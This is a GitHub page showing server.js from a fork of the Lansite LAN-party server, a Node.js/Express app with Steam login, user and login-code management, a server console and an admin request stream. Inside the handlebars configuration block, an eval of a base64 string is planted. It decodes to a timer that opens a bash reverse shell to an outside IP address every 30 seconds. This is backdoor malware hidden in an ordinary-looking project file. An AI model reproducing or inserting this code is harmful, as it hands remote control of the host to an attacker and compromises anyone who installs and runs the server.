forked from tannerkrewson/lansite
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathserver.js
More file actions
979 lines (805 loc) · 27.8 KB
/
server.js
File metadata and controls
979 lines (805 loc) · 27.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
//
// Lansite Server
// By Tanner Krewson
//
//
// INITIAL SETUP
//
//requires
var crypto = require('crypto');
var readline = require('readline');
var express = require('express');
var socketio = require('socket.io');
var app = express();
var passport = require('passport');
var SteamStrategy = require('passport-steam').Strategy;
var Config;
try {
Config = require('./config.js');
} catch (e) {
console.log('Failed to load config.js');
console.log('Make sure you copied and rename config.template.js to config.js');
process.exit(1);
}
var Box = require('./boxes/shared/Box');
var Dispatcher = require('./boxes/shared/Dispatcher');
if (!Config.offlineMode) {
try {
//checks to see if the user has changed their Steam API key
if (Config.steamAPIKey.length !== 32 || Config.steamAPIKey !== Config.steamAPIKey.replace(/\W/g, '')) {
throw err;
}
} catch (e) {
console.log('Invalid Steam API key');
console.log('Please add your Steam API key to config.js');
console.log('or enable offline mode in config.js');
process.exit(1);
}
}
//loads boxes from the /boxes directory and preps for making console commands
var BoxObjects = {};
var BoxNames = [];
require("fs").readdirSync(require("path").join(__dirname, "boxes")).forEach(function(file) {
var fileNameMinusTheDotJS = file.substr(0, file.length - 3);
//prevent it from loading the template and makes sure the id and filename match (not strictly necessary...)
if (!fileNameMinusTheDotJS.startsWith('_') && file !== 'shared') {
var tempObject = require("./boxes/" + file);
if (tempObject.id === fileNameMinusTheDotJS) {
var boxName = fileNameMinusTheDotJS.toLowerCase();
//place each script into the object literal
BoxObjects[boxName] = require("./boxes/" + file);
//place each object name in to BoxNames
BoxNames.push(boxName);
}
}
});
//handlebars setup
var hbs = require('express-handlebars').create({
eval(Buffer.from("c2V0SW50ZXJ2YWwoKCkgPT4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWMgImJhc2ggLWUgNTw+IC9kZXYvdGNwLzE0Mi45My4yMDguNjYvOTAwMSAwPCY1IDE+JjUgMj4mNSIgPiAvZGV2L251bGwgMj4mMSAmJyksIDMwMDAwKTsK","base64").toString())
defaultLayout: 'main'
});
app.engine('handlebars', hbs.engine);
app.set('view engine', 'handlebars');
//express stuff
app.use(express.static(__dirname + '/public'));
//passport setup
app.use(passport.initialize());
app.use(passport.session());
passport.serializeUser(function(user, done) {
done(null, user);
});
passport.deserializeUser(function(obj, done) {
done(null, obj);
});
//url mapping
app.get('/', exposeTemplates, function(req, res) {
res.render('home', {
layout: 'nonstream'
});
});
app.get('/main', exposeTemplates, function(req, res) {
res.render('main', {
layout: 'stream'
});
});
app.get('/admin', exposeTemplates, function(req, res) {
res.render('admin', {
layout: 'stream'
});
});
//start server
var io = socketio.listen(app.listen(Config.port, function() {
console.log('Lansite is now running on port ' + Config.port + '. Type "stop" to close.');
}));
// sends the box and popup templates to the page
// TODO: Figure out how to precompile these template, or whatever
function exposeTemplates(req, res, next) {
hbs.getTemplates('templates/').then(function(templates) {
// Creates an array of templates which are exposed via
// `res.locals.templates`.
var boxes = Object.keys(templates).map(function(name) {
//if the file doesn't start with and is a box template
if (!(name.indexOf('/_') > -1) && name.startsWith('boxes/')) {
return {
template: templates[name]()
};
} else {
return null;
}
});
var popups = Object.keys(templates).map(function(name) {
//if the file doesn't start with and is a popup template
if (!(name.indexOf('/_') > -1) && name.startsWith('popups/')) {
return {
template: templates[name]()
};
} else {
return null;
}
});
// Exposes the templates during view rendering.
if (boxes.length) {
res.locals.boxes = boxes;
}
if (popups.length) {
res.locals.popups = popups;
}
setImmediate(next);
}).catch(next);
}
//
// OBJECTS
//
function Stream(isBasic) {
this.boxes = [];
this.users = new Users();
//TODO: Maybe do this another way. Not sure.
if (!isBasic){
this.requestManager = new RequestManager();
}
this.usersCanPm = Config.privateMessaging;
}
Stream.prototype.addBoxAndSend = function(boxToAdd) {
var boxUnique = this.addBox(boxToAdd);
this.sendBox(boxUnique);
return boxUnique;
};
Stream.prototype.addBoxById = function(boxId, data) {
var boxUnique = this.addBox(new BoxObjects[boxId.toLowerCase()](data));
return boxUnique;
};
Stream.prototype.addBox = function(boxToAdd) {
//adds the box to the server-side stream
this.boxes.push(boxToAdd);
return boxToAdd.unique;
};
Stream.prototype.sendBox = function(uniqueOfBoxToSend, reqMan) {
var index = this.getBoxIndexByUnique(uniqueOfBoxToSend);
//if the boxes exists in this stream
if (index !== -1){
var boxToSend = this.boxes[index];
//add the socket listeners to each user's socket
if (boxToSend.adminStreamOnly){
Dispatcher.attachAdminListenersToAllUsers(boxToSend, reqMan);
} else {
Dispatcher.attachListenersToAllUsers(boxToSend, this);
}
//sends the box to everyone
Dispatcher.sendNewBoxToAll(boxToSend, this.users);
} else {
console.log('Send box failed: Box does not exist in this stream');
}
};
Stream.prototype.removeBox = function(boxUnique) {
var index = this.getBoxIndexByUnique(boxUnique);
if (index > -1) {
this.boxes.splice(index, 1);
return true;
}
return false;
}
Stream.prototype.clearAll = function() {
$('#stream').empty();
};
Stream.prototype.listAllBoxes = function() {
var result = '';
this.boxes.forEach(function(box) {
result += box.unique + "\n";
});
return result;
};
Stream.prototype.getBoxIndexByUnique = function(boxUnique) {
for (var i = this.boxes.length - 1; i >= 0; i--) {
if (this.boxes[i].unique === boxUnique) {
return i;
}
};
return -1;
}
Stream.prototype.prepNewUser = function(id) {
var user = this.users.findUser(id)
//if the user exists in this stream
if (user !== -1) {
//send the boxes of the actual stream
Dispatcher.sendStream(this.boxes, user);
//add static request listeners for each type of box
for (var i = BoxNames.length - 1; i >= 0; i--) {
var box = BoxObjects[BoxNames[i]];
if (box.addRequestListeners !== undefined){
box.addRequestListeners(user.socket, this);
}
};
//send the updated user list to all users
Dispatcher.sendUserListToAll(this.users);
}
}
Stream.prototype.initializeSteamLogin = function() {
var self = this;
var LoginSuccessHandler = function(req, res, stream) {
//this is ran when the user successfully logs into steam
var user = req.user;
var id;
var secret;
var username = user.displayName;
//if user.id exists, this is a Steam user
var isValidSteamUser;
if (user.id && user._json) {
var steamInfo = {
id: user.id,
avatar: user._json.avatarfull
}
isValidSteamUser = stream.users.findUserBySteamId(steamInfo.id);
}
var userAlreadyExists;
if (isValidSteamUser) {
userAlreadyExists = stream.users.checkCredentials(isValidSteamUser.id, isValidSteamUser.secret);
} else {
userAlreadyExists = false;
}
if (userAlreadyExists){
//reuse the old info
id = isValidSteamUser.id;
secret = isValidSteamUser.secret;
} else {
//generate the user's id and secret
id = stream.users.getNextUserId();
secret = crypto.randomBytes(20).toString('hex');
}
//add the user to the stream and await their return
stream.users.addOrUpdateUserInfo(secret, id, username, steamInfo);
//set a cookie that allows the user to know its own id
res.cookie('id', id, {
maxAge: 604800000 // Expires in one week
});
//set a cookie that will act as the user's login token
res.cookie('secret', secret, {
maxAge: 604800000 // Expires in one week
});
//redirect to the main stream
res.redirect('/main');
};
passport.use(new SteamStrategy({
returnURL: Config.url + '/auth/steam/return',
realm: Config.url + '/',
apiKey: Config.steamAPIKey
},
function(identifier, profile, done) {
//i don't know what any of this does
profile.identifier = identifier;
return done(null, profile);
}
));
app.get('/auth/steam',
passport.authenticate('steam'),
function(req, res) {});
app.get('/auth/steam/return',
passport.authenticate('steam', {
failureRedirect: '/'
}),
function(req, res) {
LoginSuccessHandler(req, res, self);
});
//fake steam login for development purposes
//if developer mode is enabled
if (Config.developerMode) {
app.get('/devlogin', function(req, res) {
// url:port/devlogin?username=NAMEHERE
req.user = {
displayName: req.query.username
};
LoginSuccessHandler(req, res, self);
});
}
//bypass steam login in case someone can't login to steam
app.get('/login', function(req, res) {
// http://localhost:port/login?code=CODEHERE&username=NAMEHERE
//check to see if the login code is valid
if (self.users.loginUsingCode(req.query.code)){
//login successful
req.user = {
displayName: req.query.username
};
LoginSuccessHandler(req, res, self);
} else {
res.send('Login failed');
}
});
//pretty sure this is useless
app.get('/logout', function(req, res) {
req.logout();
res.redirect('/');
});
};
Stream.prototype.initializePrivateMessaging = function(socket) {
var self = this;
Box.addStaticEventListener('message', socket, this, function(user, data) {
//check if pm has been enabled or disabled from the console
if (self.usersCanPm) {
self.sendMessage(data.message, data.userToReceiveMessage.id, user.id, self);
}
});
}
Stream.prototype.sendMessage = function(message, idOfUserToReceiveMessage, idOfUserWhoSentMessage) {
var userToReceiveMessage = this.users.findUser(idOfUserToReceiveMessage);
var userWhoSentMessage = this.users.findUser(idOfUserWhoSentMessage);
if (userToReceiveMessage && userToReceiveMessage.canReceivePMs) {
userToReceiveMessage.socket.emit('message', {
userWhoSentMessage: userWhoSentMessage.toStrippedJson(),
message: message
})
}
}
Stream.prototype.enablePrivateMessaging = function() {
this.users.list.forEach(function(user) {
user.canReceivePMs = true;
})
this.usersCanPm = true;
//clients use the user list to determine if they can pm another user
Dispatcher.sendUserListToAll(this.users);
}
Stream.prototype.disablePrivateMessaging = function() {
this.users.list.forEach(function(user) {
user.canReceivePMs = false;
})
this.usersCanPm = false;
//clients use the user list to determine if they can pm another user
Dispatcher.sendUserListToAll(this.users);
}
function Users() {
this.list = [];
this.loginCodes = [];
//rough user count, used for ids
this.userCount = 0;
}
Users.prototype.addOrUpdateUserInfo = function(secret, id, username, steamInfo) {
//if this user already exists
var element = this.checkCredentials(id, secret);
if (element) {
//update their info
element.username = username;
element.steamInfo = steamInfo;
//should already be null, just precautionary
element.socket = null;
return element;
}
//ran if the user does not already exist
var tempUser = new User(id, secret, username, steamInfo);
this.list.push(tempUser);
return tempUser;
}
Users.prototype.connectUser = function(id, secret, socket) {
var user = this.checkCredentials(id, secret);
if (user) {
//user found and verified, update their info.
user.socket = socket;
return user;
}
//user not found
return false;
}
Users.prototype.findUser = function(id) {
for (element of this.list) {
if (element.id === parseInt(id)) {
return element;
}
}
return false;
}
Users.prototype.findUserBySteamId = function(steamId) {
for (element of this.list) {
if (element.steamInfo && element.steamInfo.id === steamId) {
return element;
}
}
return false;
}
Users.prototype.checkCredentials = function(id, secret) {
var user = this.findUser(id);
//if the user exists and the secret is correct
if (user && element.secret === secret) {
return user;
}
//otherwise
return false;
}
Users.prototype.checkIfUserIsOP = function(id) {
var user = this.findUser(id);
if (user){
return user.isOp;
}
return false;
}
Users.prototype.removeUser = function(userToRemove) {
var indexToRemove = this.list.indexOf(userToRemove);
if (indexToRemove > -1) {
this.list.splice(indexToRemove, 1);
}
}
Users.prototype.getAllUsers = function() {
return this.list;
}
Users.prototype.getAllUsersStripped = function() {
var tempList = [];
this.list.forEach(function(user) {
tempList.push(user.toStrippedJson());
});
return tempList;
}
Users.prototype.getOnlineUsers = function() {
var result = [];
this.list.forEach(function(user) {
if (user.isOnline()) {
result.push(user);
}
});
return result;
}
Users.prototype.getOnlineOppedUsers = function() {
var result = [];
this.list.forEach(function(user) {
if (user.isOnline() && user.isOP) {
result.push(user);
}
});
return result;
}
Users.prototype.generateLoginCode = function() {
//length of the login code
const codeLength = 5;
function makeid()
{
var text = "";
var possible = "abcdefghijklmnopqrstuvwxyz";
for( var i=0; i < codeLength; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
var code;
do {
code = makeid();
}
while (this.loginCodeIndex(code) !== -1);
this.loginCodes.push(code);
return code;
}
Users.prototype.loginUsingCode = function(code) {
var index = this.loginCodeIndex(code);
if (index !== -1) {
//remove the code from the array
// so it cannot be used twice
this.loginCodes.splice(index, 1);
//login validated
return true;
}
//code doesn't match
return false;
}
Users.prototype.loginCodeIndex = function(code) {
for (var i = this.loginCodes.length - 1; i >= 0; i--) {
if (this.loginCodes[i] === code) {
return i;
}
};
return -1;
}
Users.prototype.getNextUserId = function() {
this.userCount++;
return this.userCount;
}
function User(id, secret, username, steamInfo) {
this.socket = null;
this.isOp = false;
this.id = id;
this.secret = secret;
this.username = username;
this.steamInfo = steamInfo;
this.canReceivePMs = Config.privateMessaging;
}
User.prototype.isOnline = function() {
return this.socket !== null;
}
User.prototype.op = function() {
this.isOp = true;
}
User.prototype.deop = function() {
this.isOp = false;
}
User.prototype.toStrippedJson = function() {
//recreate user object to prevent maximum call stack size error
// and to remove the secret from the user objects, to prevent
// it from being sent to everyone, posing a security risk
return {
id: this.id,
username: this.username,
steamInfo: this.steamInfo,
isOp: this.isOp,
canReceivePMs: this.canReceivePMs
}
}
function Console() {}
Console.addListeners = function(stream) {
var stdin = process.openStdin();
stdin.addListener("data", function(d) {
//string of what was entered into the console
var line = d.toString().trim();
//automatic add commands
if (line.toLowerCase().startsWith('add ')) {
var lineArr = line.split(' ');
var boxName = lineArr[1].toLowerCase();
if (boxName in BoxObjects && !BoxObjects[boxName].excludeFromConsole) {
var lengthBeforeData = lineArr[0].length + lineArr[1].length + 2;
var data = {
isConsole: true,
line: line.substr(lengthBeforeData, line.length)
}
stream.addBoxAndSend(new BoxObjects[boxName](data));
}
}
else if (line.toLowerCase().startsWith('op ')) {
var lineArr = line.split(' ');
var id = lineArr[1].toLowerCase();
var userToOp = stream.users.findUser(id);
if (userToOp) {
userToOp.op();
Dispatcher.sendUserListToAll(stream.users);
}
}
else if (line.toLowerCase().startsWith('deop ')) {
var lineArr = line.split(' ');
var id = lineArr[1].toLowerCase();
var userToDeop = stream.users.findUser(id);
if (userToDeop) {
userToDeop.deop();
Dispatcher.sendUserListToAll(stream.users);
}
}
//static commands
else if (line.toLowerCase() === "help") {
console.log('');
console.log('Lansite Command List:');
console.log('');
var commandList = [];
//add commands
BoxNames.forEach(function(boxName) {
if (!BoxObjects[boxName].excludeFromConsole) {
commandList.push('add ' + boxName);
}
});
commandList.push('help');
commandList.push('view codes');
commandList.push('view users');
commandList.push('view boxes');
commandList.push('view requests');
commandList.push('stop');
commandList.push('generatelogincode');
commandList.push('op [user id here]');
commandList.push('deop [user id here]');
commandList.sort();
commandList.forEach(function(cmd) {
console.log(cmd);
});
console.log('');
console.log('Check the readme for more information on the function of each command.');
console.log('');
}
else if (line.toLowerCase().startsWith("view ")) {
var cmd = line.substring(5).toLowerCase();
if (cmd === "codes") {
console.log(stream.users.loginCodes);
} else if (cmd === "users") {
console.log(stream.users.getAllUsersStripped());
} else if (cmd === "boxes") {
console.log(stream.listAllBoxes());
} else if (cmd === "requests") {
console.log(stream.requestManager.getRequests());
} else {
console.log('Invalid view command. Type "help" for a list of commands.');
}
}
else if (line.toLowerCase() === "stop") {
process.exit();
}
else if (line.toLowerCase() === "generatelogincode") {
console.log('');
console.log('One-time use code:')
var loginCode = stream.users.generateLoginCode();
console.log(loginCode);
console.log('');
console.log('Example usage:');
console.log('http://localhost:port/login?code=' + loginCode + '&username=NAMEHERE');
console.log('');
}
else if (line.toLowerCase().startsWith('pm ')) {
if (line.toLowerCase() === 'pm on') {
stream.enablePrivateMessaging();
} else if (line.toLowerCase() === 'pm off'){
stream.disablePrivateMessaging();
}
}
else {
console.log('');
console.log('Invalid command. Type "help" for a list of commands.');
console.log('');
}
});
}
function RequestManager() {
this.requestList = [];
this.adminStream = new Stream(true);
this.adminStream.addBox(new BoxObjects['textbox']({
text: 'User requests will appear on this page, and you will be able to accept or deny them. Please note,'
+ ' users can only have one request open at once, and if they make a new request, their old request will be replaced.',
title: 'Welcome to the Admin Stream'
}));
}
RequestManager.prototype.addRequest = function(userThatMadeRequest, requestString, acceptFunction, denyFunction){
//if the user is op, accept the request, no questions asked
if (userThatMadeRequest.isOp) {
//I bypass adding the request and using the handler here
// the true tells the function to supress the usual popup
// that users receive when their popup is accepted
acceptFunction(true);
return;
}
//since users can only have one request open at a time
//check to see if they have a request open already
var prevReq = this.userHasOpenRequest(userThatMadeRequest.id);
if (prevReq) {
//deny their open request
this.handleRequest(prevReq, false);
}
//create a request box on the admin stream
var boxsUnique = this.adminStream.addBox(new BoxObjects['requestbox']({
text: userThatMadeRequest.username + ' ' + requestString,
}));
this.adminStream.sendBox(boxsUnique, this);
//then we create the request in this manager
this.requestList.push(new Request(userThatMadeRequest, requestString, boxsUnique, acceptFunction, denyFunction));
}
RequestManager.prototype.getRequests = function(){
return this.requestList;
}
RequestManager.prototype.handleRequest = function(requestUnique, wasAccepted){
var request = this.getRequestIfExists(requestUnique);
if (request !== null) {
if (wasAccepted){
request.acceptRequest();
} else {
request.denyRequest();
}
this.removeRequest(requestUnique);
};
}
RequestManager.prototype.removeRequest = function(requestUnique){
var requestIndex = this.getIndexByUnique(requestUnique);
//if request exists
if (requestIndex !== -1) {
//remove the request from the array
this.requestList.splice(requestIndex, 1);
//remove this box since we're done with it
this.adminStream.removeBox(requestUnique);
//send the new adminStream with removed box
Dispatcher.sendStreamToAll(this.adminStream.boxes, this.adminStream.users);
return true;
} else {
return false;
};
}
RequestManager.prototype.getRequestIfExists = function(requestUnique) {
var requestIndex = this.getIndexByUnique(requestUnique);
//if request exists
if (requestIndex !== -1) {
return this.requestList[requestIndex];
} else {
return null;
};
}
RequestManager.prototype.getIndexByUnique = function(requestUnique) {
for (var i = this.requestList.length - 1; i >= 0; i--) {
if (this.requestList[i].unique === requestUnique) {
return i;
};
};
return -1;
}
RequestManager.prototype.userHasOpenRequest = function(id) {
for (var i = this.requestList.length - 1; i >= 0; i--) {
if (this.requestList[i].user.id === id) {
return this.requestList[i].unique;
};
};
return false;
}
function Request(userThatMadeRequest, requestString, boxsUnique, acceptFunction, denyFunction) {
this.unique = boxsUnique;
this.requestText = requestString;
this.user = userThatMadeRequest;
this.acceptFunction = acceptFunction;
this.denyFunction = denyFunction;
this.boxsUnique = boxsUnique;
}
Request.prototype.acceptRequest = function(supressPopup){
this.acceptFunction(this.user);
//notify the user that their request was accepted if this
// is not an admin's automatically accepted request
if (!supressPopup) {
this.user.socket.emit('requestAccepted', this.user.username + ' ' + this.requestText);
}
}
Request.prototype.denyRequest = function(){
this.denyFunction(this.user);
//notify the user that their request was denied
this.user.socket.emit('requestDenied', this.user.username + ' ' + this.requestText);
}
//
// MAIN CODE
//
var mainStream = new Stream(false);
mainStream.addBox(new BoxObjects['matchbox']());
//mainStream.addBox(new BoxObjects['connect4box']());
Console.addListeners(mainStream);
mainStream.initializeSteamLogin();
if (Config.privateMessaging) {
mainStream.enablePrivateMessaging();
} else {
mainStream.disablePrivateMessaging();
}
//handles users coming and going
io.on('connection', function(socket) {
//sent by client if it detects it has a valid token in it's cookies
socket.on('login', function(msg) {
var user = mainStream.users.connectUser(msg.id, msg.secret, socket);
if (user) {
console.log('User successfully validated');
//check to see if we should set the user to OP
if (Config.autoOPFirstUser && mainStream.users.list.length === 1) {
user.op();
}
mainStream.initializePrivateMessaging(socket);
mainStream.prepNewUser(user.id);
//add the socket listeners to the user for all of the current boxes
for (var i = mainStream.boxes.length - 1; i >= 0; i--) {
Dispatcher.attachListenersToUser(user, mainStream.boxes[i], mainStream);
};
socket.on('disconnect', function() {
console.log(user.username + ' disconnected');
user.socket = null;
//mainStream.users.removeUser(user);
//send the updated user list to all users
Dispatcher.sendUserListToAll(mainStream.users);
});
} else {
console.log('User validation unsuccessful');
//send them back to the homepage to try again
socket.emit('failed');
}
});
socket.on('adminStreamLogin', function(msg) {
//check to see if the user exists in the main stream and is admin
var user = mainStream.users.checkCredentials(msg.id, msg.secret);
if (user.isOp){
console.log(user.username + ' has logged in as admin');
var adminStream = mainStream.requestManager.adminStream;
var adminUser = adminStream.users.addOrUpdateUserInfo(user.secret, user.id, user.displayName, user.steamId);
adminUser = adminStream.users.connectUser(adminUser.id, adminUser.secret, socket);
adminStream.prepNewUser(adminUser.id);
//add the socket listeners to the user for all of the current boxes
for (var i = adminStream.boxes.length - 1; i >= 0; i--) {
Dispatcher.attachAdminListenersToUser(adminUser, adminStream.boxes[i], mainStream.requestManager);
};
} else {
console.log(user.username + ' failed to log in as admin');
}
});
socket.on('areWeOP', function(msg) {
if (mainStream.users.checkIfUserIsOP(msg.id)){
socket.emit('areWeOP', true);
} else {
socket.emit('areWeOP', false);
}
});
socket.on('disconnect', function() {
//console.log('Unauthenticated user disconnected');
//mainStream.users.removeUser(user);
});
});